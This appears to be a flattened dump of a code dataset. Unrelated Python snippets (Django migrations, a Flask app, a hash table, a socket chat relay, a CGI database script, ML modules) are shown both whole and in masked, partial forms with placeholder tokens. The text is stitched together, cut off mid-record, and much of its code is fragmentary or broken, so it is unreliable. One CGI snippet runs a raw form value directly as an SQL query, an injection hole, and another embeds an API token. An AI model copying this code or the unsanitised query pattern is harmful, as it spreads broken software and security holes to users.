code stringlengths 13 6.09M | order_type stringclasses 2
values | original_example dict | step_ids listlengths 1 5 |
|---|---|---|---|
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class Migration(migrations.Migration):
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class Migration(migrations.Migration):
dependencies = [(... | flexible | {
"blob_id": "7a1be5c9c48413ba1969631e99ecb45cf15ef613",
"index": 559,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n",
"step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('Registration... | [
0,
1,
2,
3,
4
] |
#!/usr/bin/env python
# -*- coding:UTF-8 -*-
'''
@Description: 数据库迁移
@Author: Zpp
@Date: 2020-03-30 11:01:56
@LastEditors: Zpp
@LastEditTime: 2020-04-28 09:55:26
'''
import sys
import os
curPath = os.path.abspath(os.path.dirname(__file__))
rootPath = os.path.split(curPath)[0]
sys.path.append(rootPath)
from flask impor... | normal | {
"blob_id": "69ebdab4cd1f0b5154305410381db252205ff97d",
"index": 9768,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nsys.path.append(rootPath)\n<mask token>\nmanager.add_command('db', MigrateCommand)\nif __name__ == '__main__':\n manager.run()\n",
"step-3": "<mask token>\ncurPath = os.path.abspath(... | [
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
class HashTable:
<|reserved_special_token_0|>
def __init__(self, capacity):
self.capacity = capacity
self.storage = [None] * capacity
self.numberOfItems = 0
def fnv1(self, key):
"""
FNV-1 64-bit hash function
Implement this, a... | flexible | {
"blob_id": "7e58fe636e6d835d7857a49900bbc127b52f63d9",
"index": 6112,
"step-1": "<mask token>\n\n\nclass HashTable:\n <mask token>\n\n def __init__(self, capacity):\n self.capacity = capacity\n self.storage = [None] * capacity\n self.numberOfItems = 0\n\n def fnv1(self, key):\n ... | [
6,
11,
13,
15,
16
] |
<|reserved_special_token_0|>
class PositionalEncoding(nn.Module):
def __init__(self, d_model, max_len, dropout=0.1):
super(PositionalEncoding, self).__init__()
self.dropout = nn.Dropout(p=dropout)
pe = torch.zeros(max_len, d_model)
position = torch.arange(0, max_len, dtype=torch.f... | flexible | {
"blob_id": "79522db1316e4a25ab5a598ee035cf9b9a9a9411",
"index": 3511,
"step-1": "<mask token>\n\n\nclass PositionalEncoding(nn.Module):\n\n def __init__(self, d_model, max_len, dropout=0.1):\n super(PositionalEncoding, self).__init__()\n self.dropout = nn.Dropout(p=dropout)\n pe = torch.... | [
12,
18,
21,
23,
24
] |
<|reserved_special_token_0|>
@app.route('/api/v1/users', methods=['POST'])
def create_user():
"""
Function to create new users.
"""
try:
try:
body = request.get_json()
except:
return abort(400)
record_id = collection.insert(body)
return jsonif... | flexible | {
"blob_id": "0f4bb65b93df997ca1a9b7945ebcec53a2f43822",
"index": 3636,
"step-1": "<mask token>\n\n\n@app.route('/api/v1/users', methods=['POST'])\ndef create_user():\n \"\"\"\n Function to create new users.\n \"\"\"\n try:\n try:\n body = request.get_json()\n except:\n ... | [
3,
4,
5,
6,
7
] |
<|reserved_special_token_0|>
def remove_duplicate_legal_reasons(apps, purpose_slug,
source_object_content_type, source_object_id):
LegalReason = apps.get_model(u'gdpr', u'LegalReason')
duplicate_legal_reason_qs = LegalReason.objects.filter(purpose_slug=
purpose_slug, source_object_content_type=sou... | flexible | {
"blob_id": "6c86b4823756853bb502b34492ac8ad0a75daf7e",
"index": 7036,
"step-1": "<mask token>\n\n\ndef remove_duplicate_legal_reasons(apps, purpose_slug,\n source_object_content_type, source_object_id):\n LegalReason = apps.get_model(u'gdpr', u'LegalReason')\n duplicate_legal_reason_qs = LegalReason.ob... | [
4,
5,
6,
7,
8
] |
<|reserved_special_token_0|>
class UserNotification(models.Model):
user = models.ForeignKey(User, on_delete=models.CASCADE)
notification_content = models.CharField(max_length=100)
notification_link = models.CharField(max_length=100)
created_at = models.DateTimeField(auto_now_add=True)
class Post(Abs... | flexible | {
"blob_id": "1e81e0f3cb2fb25fdef08a913aa1ff77d0c2a562",
"index": 9204,
"step-1": "<mask token>\n\n\nclass UserNotification(models.Model):\n user = models.ForeignKey(User, on_delete=models.CASCADE)\n notification_content = models.CharField(max_length=100)\n notification_link = models.CharField(max_length... | [
10,
11,
12,
13,
14
] |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
import re
import arabic_reshaper
from scrapy import Spider, Request
from bidi.algorithm import get_display
from websites.items import ArticleItem
from operator import add
from scrapy_splash import SplashRequest
class Blogsaljazeera2Spider(Spider):
na... | normal | {
"blob_id": "17058b323c0a0974dfa8f124ccd6cb5bf29dd849",
"index": 2065,
"step-1": "<mask token>\n\n\nclass Blogsaljazeera2Spider(Spider):\n <mask token>\n <mask token>\n <mask token>\n\n @staticmethod\n def cleanhtml(raw_html):\n cleanr = re.compile('<.*?>')\n cleantext = re.sub(clean... | [
6,
7,
8,
9,
10
] |
# Generated by Django 3.1.1 on 2020-10-07 04:04
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('articals', '0001_initial'),
]
operations = [
migrations.AddField(
model_name='artical',
name='thumb',
fi... | normal | {
"blob_id": "d69bffb85d81ab3969bfe7dfe2759fa809890208",
"index": 503,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n",
"step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('articals', '... | [
0,
1,
2,
3,
4
] |
# Greedy Algorithm solves a problem by building a solution incrementally
# The algorithm is greedy because it chooses the next step that gives the most benefit
# Can save a lot of time when used correctly since they don't have to look at the entire problem space
# It's either the most optimal solution or it doesn't wor... | normal | {
"blob_id": "f6974c0e5908710031bc3c3bb75c277be426632c",
"index": 2789,
"step-1": "<mask token>\n",
"step-2": "class Solution:\n <mask token>\n\n\n<mask token>\n",
"step-3": "class Solution:\n\n def canJump(self, nums):\n best_index = 0\n for i in range(len(nums)):\n if i > best... | [
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
comms_socket1.bind(('120.79.26.97', 55000))
comms_socket2.bind(('120.79.26.97', 55001))
comms_socket1.listen()
<|reserved_special_token_0|>
comms_socket2.listen()
<|reserved_special_token_0|>
while True:
send_date = user1.recv... | flexible | {
"blob_id": "8981d53641d22430efb2dd43401fab562b8a95ed",
"index": 3262,
"step-1": "<mask token>\n",
"step-2": "<mask token>\ncomms_socket1.bind(('120.79.26.97', 55000))\ncomms_socket2.bind(('120.79.26.97', 55001))\ncomms_socket1.listen()\n<mask token>\ncomms_socket2.listen()\n<mask token>\nwhile True:\n send... | [
0,
1,
2,
3,
4
] |
#!C:/Users/Tarang/AppData/Local/Programs/Python/Python37-32/python.exe -u
print("Content-Type: text/html")
print()
import cgi,cgitb
cgitb.enable() #for debugging
form = cgi.FieldStorage()
name = form.getvalue('fname')
print("Name of the user is:",name)
import pymysql
db = pymysql.connect("localhost","roo... | normal | {
"blob_id": "cb28e8bb98cbeed0b703fbfcf7cf30ebca52aa25",
"index": 4247,
"step-1": "<mask token>\n",
"step-2": "print('Content-Type: text/html')\nprint()\n<mask token>\ncgitb.enable()\n<mask token>\nprint('Name of the user is:', name)\n<mask token>\ncursor.execute(name)\n<mask token>\nprint(name)\ndb.close()\n",... | [
0,
1,
2,
3,
4
] |
""" binary_adder.py: Takes two arrays representing binary numbers,
adds them together. """
__author__ = "David Vaillant"
__credits__ = "CLRS, Chapter 2.1"
def binary_add(x, y):
""" Adds two binary arrays together. """
# Makes sure that the arrays have the same length.
# Could be chang... | normal | {
"blob_id": "40aa9e7cf0aaca24054297ca80aaf468ba485966",
"index": 5621,
"step-1": "<mask token>\n\n\ndef binary_add(x, y):\n \"\"\" Adds two binary arrays together. \"\"\"\n assert len(x) == len(y)\n z = [0] * (len(x) + 1)\n for a, (i, j) in enumerate(zip(x[::-1], y[::-1])):\n if i not in [0, 1... | [
1,
2,
3,
4,
5
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
setup(name='google-drive-helpers', version='0.1', description=
'Helper functions for google drive', url=
'https://github.com/jdoepfert/google-drive-helpers', license='MIT',
packages=['gdrive_helpers'], install_requires... | flexible | {
"blob_id": "c0218acadb9e03359ac898cf3bb4898f516400e5",
"index": 5361,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nsetup(name='google-drive-helpers', version='0.1', description=\n 'Helper functions for google drive', url=\n 'https://github.com/jdoepfert/google-drive-helpers', license='MIT',\n ... | [
0,
1,
2,
3
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
IEX_CLOUD_API_TOKEN = 'Tpk_5d9dc536610243cda2c8ef4787d729b6'
| flexible | {
"blob_id": "86849d0e63cdb93a16497ca56ff9c64c15a60fa7",
"index": 4891,
"step-1": "<mask token>\n",
"step-2": "IEX_CLOUD_API_TOKEN = 'Tpk_5d9dc536610243cda2c8ef4787d729b6'\n",
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0,
1
]
} | [
0,
1
] |
<|reserved_special_token_0|>
def test_fancy_exception_base():
exc = _FancyExceptionBase('message')
assert str(exc) == 'message'
exc = _FancyExceptionBase(message='message')
assert str(exc) == 'message'
cause = Exception('cause')
exc = _FancyExceptionBase('message')
exc.__cause__ = cause
... | flexible | {
"blob_id": "6fd4df7370de2343fe7723a2d8f5aacffa333835",
"index": 3105,
"step-1": "<mask token>\n\n\ndef test_fancy_exception_base():\n exc = _FancyExceptionBase('message')\n assert str(exc) == 'message'\n exc = _FancyExceptionBase(message='message')\n assert str(exc) == 'message'\n cause = Excepti... | [
5,
6,
7,
8,
9
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def fact(n):
c = 1
for i in range(1, n + 1):
c *= i
return c
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def fact(n):
c = 1
for i in range(1, n + 1):
... | flexible | {
"blob_id": "1f4d9f5406b91fd687c0ace8ed29e3c4dfb4d3d2",
"index": 8748,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef fact(n):\n c = 1\n for i in range(1, n + 1):\n c *= i\n return c\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\ndef fact(n):\n c = 1\n for i in range(1... | [
0,
1,
2,
3,
4
] |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author: Dang Kai
# @Date: 2018-10-30 15:52:57
# @Last Modified time: 2018-11-10 09:09:21
# @E-mail: 1370465454@qq.com
# @Description:
from time import sleep
import sys
sys.path.append('../')
from common.encapsulation import BasePage
class IndexPage:
def login(self... | normal | {
"blob_id": "463f50567c9dd4b7b47a84eea715541cec5d3cb5",
"index": 2110,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass IndexPage:\n\n def login(self, username, password):\n BasePage.open_url(self, self.base_url)\n BasePage.send_key(self, 'css', '#username', username)\n Ba... | [
0,
2,
3,
4,
5
] |
def solve(bt):
if len(bt) == n:
print(*bt, sep="")
exit()
for i in [1, 2, 3]:
if is_good(bt + [i]):
solve(bt + [i])
def is_good(arr):
for i in range(1, len(arr)//2+1):
if arr[-i:] == arr[-(i*2):-i]:
return False
return True
if __name__ == "__main__":
n = int(input())
sol... | normal | {
"blob_id": "65d5cee6899b0b75474e3898459bf2cfa8b3635b",
"index": 1042,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef is_good(arr):\n for i in range(1, len(arr) // 2 + 1):\n if arr[-i:] == arr[-(i * 2):-i]:\n return False\n return True\n\n\n<mask token>\n",
"step-3": "de... | [
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
admin.site.register(Profile)
admin.site.register(Category)
admin.site.register(Post)
<|reserved_special_token_1|>
from django.contrib import admin
from blog.models import Post, Category, Profile
admin.site.register(Profile)
adm... | flexible | {
"blob_id": "20f0de097fdd8f2a435c06a73c6a90cc7ebc69ad",
"index": 4014,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nadmin.site.register(Profile)\nadmin.site.register(Category)\nadmin.site.register(Post)\n",
"step-3": "from django.contrib import admin\nfrom blog.models import Post, Category, Profile\n... | [
0,
1,
2,
3
] |
# coding: utf-8
# 2021/5/29 @ tongshiwei
import logging
def get_logger():
_logger = logging.getLogger("EduNLP")
_logger.setLevel(logging.INFO)
_logger.propagate = False
ch = logging.StreamHandler()
ch.setFormatter(logging.Formatter('[%(name)s, %(levelname)s] %(message)s'))
ch.setLevel(logging.... | normal | {
"blob_id": "41f71589d3fb9f5df218d8ffa0f608a890c73ad2",
"index": 8486,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef get_logger():\n _logger = logging.getLogger('EduNLP')\n _logger.setLevel(logging.INFO)\n _logger.propagate = False\n ch = logging.StreamHandler()\n ch.setFormatter(... | [
0,
1,
2,
3,
4
] |
"""
Test the OOD-detection capabilities of models by scaling a random feature for all sample in the data set.
"""
# STD
import os
import pickle
from copy import deepcopy
from collections import defaultdict
import argparse
from typing import Tuple, Dict, List
# EXT
import numpy as np
from tqdm import tqdm
import torch... | normal | {
"blob_id": "bf3e7f1aa9fd20b69e751da9ac8970c88b1144eb",
"index": 9363,
"step-1": "<mask token>\n\n\ndef run_perturbation_experiment(nov_an: NoveltyAnalyzer, X_test: np.ndarray,\n scoring_func: str=None) ->Tuple[Dict[str, List[float]], Dict[str, List[\n float]]]:\n \"\"\"Runs the perturbation experiment ... | [
1,
2,
3,
4,
5
] |
<|reserved_special_token_0|>
class SpatialAttention(nn.Module):
def __init__(self, kernel_size=7):
super(SpatialAttention, self).__init__()
self.conv1 = nn.Conv2d(2, 1, kernel_size, padding=kernel_size // 2,
bias=False)
self.sigmoid = nn.Sigmoid()
<|reserved_special_token_... | flexible | {
"blob_id": "c9de51ee5a9955f36ecd9f5d92813821fb68fb3d",
"index": 4308,
"step-1": "<mask token>\n\n\nclass SpatialAttention(nn.Module):\n\n def __init__(self, kernel_size=7):\n super(SpatialAttention, self).__init__()\n self.conv1 = nn.Conv2d(2, 1, kernel_size, padding=kernel_size // 2,\n ... | [
8,
10,
11,
13,
14
] |
#!/usr/bin/env python
# -*- coding:utf-8 -*-
"""
Module test_measured_model - Contains the unit tests for the classes
in the datamodels.miri_measured_model module.
:History:
15 Jan 2013: Created.
21 Jan 2013: Warning messages controlled with Python warnings module.
05 Feb 2013: File closing problem solved by using ... | normal | {
"blob_id": "644b4a2f0e8ce95e669c9c01df111c943e0c4af2",
"index": 3417,
"step-1": "<mask token>\n\n\nclass TestMiriMeasuredModel(unittest.TestCase):\n <mask token>\n <mask token>\n\n def test_creation(self):\n dq_def_names = list(MiriMeasuredModel.dq_def_names)\n schema_names = list(self.da... | [
19,
23,
27,
28,
31
] |
<|reserved_special_token_0|>
def e(d):
"""Encode the given string instance using UTF-8."""
return d.encode('UTF-8')
<|reserved_special_token_0|>
def u32(d):
"""Return the number represented by d when interpreted as a 32-bit unsigned integer (little endian)."""
return unpack('<I', d)[0]
<|reserve... | flexible | {
"blob_id": "e4a05cbfd0959402eacf21959c68e449d15b1e74",
"index": 7651,
"step-1": "<mask token>\n\n\ndef e(d):\n \"\"\"Encode the given string instance using UTF-8.\"\"\"\n return d.encode('UTF-8')\n\n\n<mask token>\n\n\ndef u32(d):\n \"\"\"Return the number represented by d when interpreted as a 32-bit ... | [
30,
44,
58,
59,
63
] |
#!python
# -*- coding: utf-8 -*-
from PyQt4.QtCore import *
from PyQt4.QtGui import *
from window.window import *
import sys
app = QtGui.QApplication(sys.argv)
window = MainWindow()
window.show()
sys.exit(app.exec_()) | normal | {
"blob_id": "9e2af13a15a98702981e9ee369c3a132f61eac86",
"index": 5174,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nwindow.show()\nsys.exit(app.exec_())\n",
"step-3": "<mask token>\napp = QtGui.QApplication(sys.argv)\nwindow = MainWindow()\nwindow.show()\nsys.exit(app.exec_())\n",
"step-4": "from P... | [
0,
1,
2,
3,
4
] |
from pyramid.request import Request
from pyramid.response import Response
from pyramid.view import view_config
from svc1_first_auto_service.data.repository import Repository
@view_config(route_name='autos_api',
request_method='GET',
renderer='json')
def all_autos(_):
cars = Repository.a... | normal | {
"blob_id": "cb903f3f7fd3c4f3ba5f8ff2ce12aac9c680aa15",
"index": 6116,
"step-1": "<mask token>\n\n\n@view_config(route_name='auto_api', request_method='GET', renderer='json')\ndef single_auto(request: Request):\n car_id = request.matchdict.get('car_id')\n car = Repository.car_by_id(car_id)\n if not car:... | [
1,
2,
3,
4,
5
] |
<|reserved_special_token_0|>
class base_controller:
<|reserved_special_token_0|>
def move(self, xy: list):
"""
移动
"""
m.move(xy[0] * w, xy[1] * h)
def click(self, xy: list):
"""
点击
"""
m.click(xy[0] * w, xy[1] * h)
<|reserved_special_tok... | flexible | {
"blob_id": "b2f2f1e4b7070ac867b71e538f759e527eb1ffb9",
"index": 416,
"step-1": "<mask token>\n\n\nclass base_controller:\n <mask token>\n\n def move(self, xy: list):\n \"\"\"\n 移动\n \"\"\"\n m.move(xy[0] * w, xy[1] * h)\n\n def click(self, xy: list):\n \"\"\"\n ... | [
6,
8,
10,
11,
12
] |
from datetime import datetime
import xarray
import matplotlib.pyplot as plt
import pandas as pd
from matplotlib.dates import date2num
import numpy as np
from matplotlib.gridspec import GridSpec
def test_plot_area_avg(target_nc_folder="", source_nc_path=""):
# target_nc_folder = "/HOME/huziy/skynet3_rech1/Netbea... | normal | {
"blob_id": "2d5e147b081283047cd044746d73d91ee2e59052",
"index": 4139,
"step-1": "<mask token>\n\n\ndef __print_field_stats(tfield, field, label):\n good_mask = ~field.mask\n if not np.any(good_mask):\n print(f'{label}: no meaningful data')\n return\n good_data = field[good_mask]\n prin... | [
3,
4,
5,
6,
7
] |
#!/usr/bin/env python3
""" brightness an image"""
import tensorflow as tf
def change_brightness(image, max_delta):
"""brightness an image"""
img = tf.image.adjust_brightness(image, max_delta)
return img
| normal | {
"blob_id": "07e068dbc1ba1bcb85121ee49f2f9337cae188ba",
"index": 9388,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef change_brightness(image, max_delta):\n \"\"\"brightness an image\"\"\"\n img = tf.image.adjust_brightness(image, max_delta)\n return img\n",
"step-3": "<mask token>\nim... | [
0,
1,
2,
3
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def send_answer(question_id, answer_owner, receiver_tel_id, short):
answer = cur.execute(
'SELECT answer FROM Answers WHERE question_id = (%s) AND tel_id = (%s)'
, (question_id, answer_owner)).fetchone()
... | flexible | {
"blob_id": "464fc2c193769eee86a639f73b933d5413be2b87",
"index": 3396,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef send_answer(question_id, answer_owner, receiver_tel_id, short):\n answer = cur.execute(\n 'SELECT answer FROM Answers WHERE question_id = (%s) AND tel_id = (%s)'\n ... | [
0,
1,
2,
3
] |
<|reserved_special_token_0|>
def getFiturEkstraksi():
connection = mysql.connector.connect(host='localhost', database=
'cad_ultrasound', user='root', password='')
cursor = connection.cursor()
sql_select_Query = 'SELECT id_pasien,nama,pathdata FROM datasets'
cursor.execute(sql_select_Query)
... | flexible | {
"blob_id": "4d7696c832f9255fbc68040b61fde12e057c06fa",
"index": 3899,
"step-1": "<mask token>\n\n\ndef getFiturEkstraksi():\n connection = mysql.connector.connect(host='localhost', database=\n 'cad_ultrasound', user='root', password='')\n cursor = connection.cursor()\n sql_select_Query = 'SELECT... | [
2,
3,
4,
5,
6
] |
"""
Prog: helloworld.py
Name: Samuel doyle
Date: 18/04/18
Desc: My first program!
"""
print('Hello, world!')
| normal | {
"blob_id": "513a2bbcf7a63baf900b73b18cf25618937dc7d0",
"index": 1054,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nprint('Hello, world!')\n",
"step-3": "\"\"\"\nProg: helloworld.py\nName: Samuel doyle\nDate: 18/04/18\nDesc: My first program!\n\"\"\"\n\nprint('Hello, world!')\n",
"step-4": ... | [
0,
1,
2
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
print(weights)
<|reserved_special_token_0|>
print(hidden_layer_vals)
<|reserved_special_token_0|>
print(output_val)
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
input_data = np.array([2... | flexible | {
"blob_id": "6a09311b5b3b876fd94ed0a9cce30e070528f22c",
"index": 2993,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nprint(weights)\n<mask token>\nprint(hidden_layer_vals)\n<mask token>\nprint(output_val)\n<mask token>\n",
"step-3": "<mask token>\ninput_data = np.array([2, 3])\nweights = {'node_0': np... | [
0,
1,
2,
3,
4
] |
import numpy as np
from scipy import stats
from statarray import statdat
#a2a1 = np.loadtxt('a2a1_130707_2300.dat')
#a2a1 = np.concatenate( (a2a1, np.loadtxt('a2a1_130708_1223.dat')), axis=0 )
#a2a1 = np.loadtxt('a2a1_130708_1654.dat')
#a2a1 = np.loadtxt('a2a1_130709_0030.dat')
import matplotlib.pyplot as plt
impo... | normal | {
"blob_id": "feac1092d1aaf70eb4d4df919e434cdc1aa9c826",
"index": 9171,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nrc('font', **{'family': 'serif'})\n<mask token>\nfor i, nafm in enumerate(nafms):\n detuning = 6.44\n a1, a2 = fetchdata.fetch_data_A1A2({'afmsize': nafm, 'ai': 0.0}, 'det',\n ... | [
0,
1,
2,
3,
4
] |
import glob
import csv
import math
import pandas
# this is used to train the model, try different model, generate the csv file of the result
import pandas
import pandas as pd
import pickle
from sklearn.linear_model import LogisticRegression
from sklearn import metrics
from sklearn import datasets
from sklearn.prepro... | normal | {
"blob_id": "a92384a6abee9e231092ee0e4dbdb60bafcc9979",
"index": 8782,
"step-1": "<mask token>\n\n\ndef naiveBayes(X_train, y_train):\n model = GaussianNB()\n model = model.fit(X_train, y_train)\n return model\n\n\ndef knn(X_train, y_train):\n model = KNeighborsClassifier()\n model = model.fit(X_t... | [
13,
14,
16,
17,
21
] |
#!/usr/bin/env python3
''' towerdev - Ansible Tower Testing Framework
MIT License
Copyright © 2021 falcon78921
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including wit... | normal | {
"blob_id": "63e28e6a1ea5db1d1c41bbc755b9c33905e066bb",
"index": 9832,
"step-1": "<mask token>\n\n\ndef runTowerContainer(towerVersion, externalPort, osVersion, containerName,\n debug=False, **kwargs):\n \"\"\"Runs Tower container from pre-existing image\"\"\"\n allowedMemory = None\n if debug == Tru... | [
1,
3,
4,
5,
6
] |
<|reserved_special_token_0|>
def preprocess_image(image_path, desired_size=SIZE):
"""
Resize the picture to the desired size
:param image_path: the path of image folder
:param desired_size: the size that image will be cropped as. The default size is 224*224
:return: the cropped image
"""
i... | flexible | {
"blob_id": "c2b3594d25e2d1670d9b99e0d3484c680f59421f",
"index": 9465,
"step-1": "<mask token>\n\n\ndef preprocess_image(image_path, desired_size=SIZE):\n \"\"\"\n Resize the picture to the desired size\n :param image_path: the path of image folder\n :param desired_size: the size that image will be c... | [
9,
10,
12,
13,
14
] |
from django.db import models
from django.utils.translation import ugettext_lazy as _
class Especialidade(models.Model):
def __str__(self):
return self.nome
# add unique=True?
nome = models.CharField(max_length=200, verbose_name=_('Especialidade'), unique=True, blank=False, null=False)
| normal | {
"blob_id": "9cc672702d960088f0230cbd1694b295216d8b5a",
"index": 4617,
"step-1": "<mask token>\n\n\nclass Especialidade(models.Model):\n <mask token>\n <mask token>\n",
"step-2": "<mask token>\n\n\nclass Especialidade(models.Model):\n\n def __str__(self):\n return self.nome\n <mask token>\n"... | [
1,
2,
3,
4,
5
] |
# 2019/10/08 2019년10월8일
ss = input('날짜: 년/월/일 입력-> ')
sslist = ss.split('/')
print(sslist)
print('입력하신 날짜의 10년 후 -> ', end='')
year = int(sslist[0]) + 10
print(str(year) + "년", end='')
print(sslist[1] + "월", end='')
print(sslist[2] + "일")
| normal | {
"blob_id": "fb2ef5a90b6e2582450726905868dd1b78e36166",
"index": 5008,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nprint(sslist)\nprint('입력하신 날짜의 10년 후 -> ', end='')\n<mask token>\nprint(str(year) + '년', end='')\nprint(sslist[1] + '월', end='')\nprint(sslist[2] + '일')\n",
"step-3": "ss = input('날짜: 년... | [
0,
1,
2,
3
] |
<|reserved_special_token_0|>
class MySQL(object):
def __init__(self, app=None):
self.app = app
if app is not None:
self.init_app(app)
<|reserved_special_token_0|>
@property
def connect(self):
kwargs = {}
if current_app.config['MYSQL_HOST']:
kwa... | flexible | {
"blob_id": "db8c2f6f5da0b52c268634043e1132984f610eed",
"index": 8405,
"step-1": "<mask token>\n\n\nclass MySQL(object):\n\n def __init__(self, app=None):\n self.app = app\n if app is not None:\n self.init_app(app)\n <mask token>\n\n @property\n def connect(self):\n kw... | [
4,
5,
6,
7,
8
] |
<|reserved_special_token_0|>
class Bounds(object):
"""Required for acceptance testing in scipy.optimize.basinhopping"""
def __init__(self, xmin, xmax, costs):
self.xmax = xmax
self.xmin = xmin
self.costs = costs
def is_valid(self, x):
tmax = bool(np.all(x <= self.xmax))
... | flexible | {
"blob_id": "0f4bdaecef356e01cbef527d4886564d9ef840fa",
"index": 5573,
"step-1": "<mask token>\n\n\nclass Bounds(object):\n \"\"\"Required for acceptance testing in scipy.optimize.basinhopping\"\"\"\n\n def __init__(self, xmin, xmax, costs):\n self.xmax = xmax\n self.xmin = xmin\n self... | [
16,
17,
22,
23,
24
] |
<|reserved_special_token_0|>
class Controlador(object):
def __init__(self, vista, modelo, vista2):
self._mi_vista = vista
self._mi_modelo = modelo
self._mi2_ventana = vista2
def recibirruta(self, r):
self._mi_modelo.recibirruta(r)
def recibirtipodearchivo(self, tipefile)... | flexible | {
"blob_id": "3329db63552592aabb751348efc5d983f2cc3f36",
"index": 1828,
"step-1": "<mask token>\n\n\nclass Controlador(object):\n\n def __init__(self, vista, modelo, vista2):\n self._mi_vista = vista\n self._mi_modelo = modelo\n self._mi2_ventana = vista2\n\n def recibirruta(self, r):\n... | [
7,
8,
9,
10,
12
] |
'''
给定两个整数，被除数 dividend 和除数 divisor。将两数相除，要求不使用乘法、除法和 mod 运算符。
返回被除数 dividend 除以除数 divisor 得到的商
链接：https://leetcode-cn.com/problems/divide-two-integers
'''
# 该题看起来也不难，但是其中坑很多，想要写出健壮的代码并不容易
# 我个人思考可以考虑使用上下界，不断缩小范围来确定
def division(dividend, divisor):
temp = 0
for i in range(dividend + 1):
temp += abs(... | normal | {
"blob_id": "edb80652de641a1a6cbb37a60cc236cd7828a96e",
"index": 8151,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef division_v2(dividend, divisor):\n\n def get_add_num(num, times):\n sum = 0\n for i in range(times):\n sum += num\n return sum\n low = 0\n ... | [
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
parser.add_argument('--in_n_estimator', type=int, default=8)
parser.add_argument('--in_criterion', type=str, default='gini')
parser.add_argument('--in_max_depth', type=int, default=2)
<|reserved_special_token_0|>
model.fit(x_train... | flexible | {
"blob_id": "66c2d73c100f7fc802e66f2762c92664e4b93fcd",
"index": 5736,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nparser.add_argument('--in_n_estimator', type=int, default=8)\nparser.add_argument('--in_criterion', type=str, default='gini')\nparser.add_argument('--in_max_depth', type=int, default=2)\n... | [
0,
1,
2,
3,
4
] |
class BaseException(object):
<|reserved_special_token_0|>
def with_traceback(self, tb):
"""
Exception.with_traceback(tb) --
set self.__traceback__ to tb and return self.
"""
pass
def __delattr__(self, *args, **kwargs):
""" Implement delattr(self, name). ... | flexible | {
"blob_id": "3d01910ae1c163067f4a23b3cca109a7d9e193d5",
"index": 5251,
"step-1": "class BaseException(object):\n <mask token>\n\n def with_traceback(self, tb):\n \"\"\"\n Exception.with_traceback(tb) --\n set self.__traceback__ to tb and return self.\n \"\"\"\n pass\n... | [
9,
10,
11,
12,
15
] |
<|reserved_special_token_0|>
@utility.init()
def init():
if utility.is_test():
return
api.init()
time.sleep(3)
def wait():
global g_threads
for t in g_threads:
t.join()
g_threads.clear()
@utility.fini()
def fini():
if utility.is_test():
return
api.fini()
... | flexible | {
"blob_id": "e2feb12b88babbbfa4cc8447c91e8a5b6c30f78b",
"index": 1466,
"step-1": "<mask token>\n\n\n@utility.init()\ndef init():\n if utility.is_test():\n return\n api.init()\n time.sleep(3)\n\n\ndef wait():\n global g_threads\n for t in g_threads:\n t.join()\n g_threads.clear()\n... | [
26,
29,
30,
34,
38
] |
# -*- coding: utf-8 -*-
# @Time : 2020/6/12 20:19
# @Author : damon
# @Site :
# @File : work0612
# @Software: PyCharm
import math
"""
1、给定n=10，计算1! + 2! + 3! + ... + n!的值
"""
# 解法1：
n = 10
factorial = 1
sum = 0
for i in range(1, n+1):
factorial = i * factorial
sum += factorial
print(f"阶乘之和{sum}")... | normal | {
"blob_id": "af9adc0faad4fc1426a2bd75c1c77e23e37b60bf",
"index": 2431,
"step-1": "<mask token>\n\n\ndef fa(x):\n dict2 = {(1): 'one', (2): 'two', (3): 'three', (4): 'four', (5): 'five',\n (6): 'six', (7): 'seven', (8): 'eight', (9): 'nine', (0): 'zero'}\n return dict2[int(x)]\n\n\n<mask token>\n",
... | [
1,
3,
4,
5,
6
] |
import itertools
import numpy
import math
import psycopg2
import podatki
baza = podatki.baza
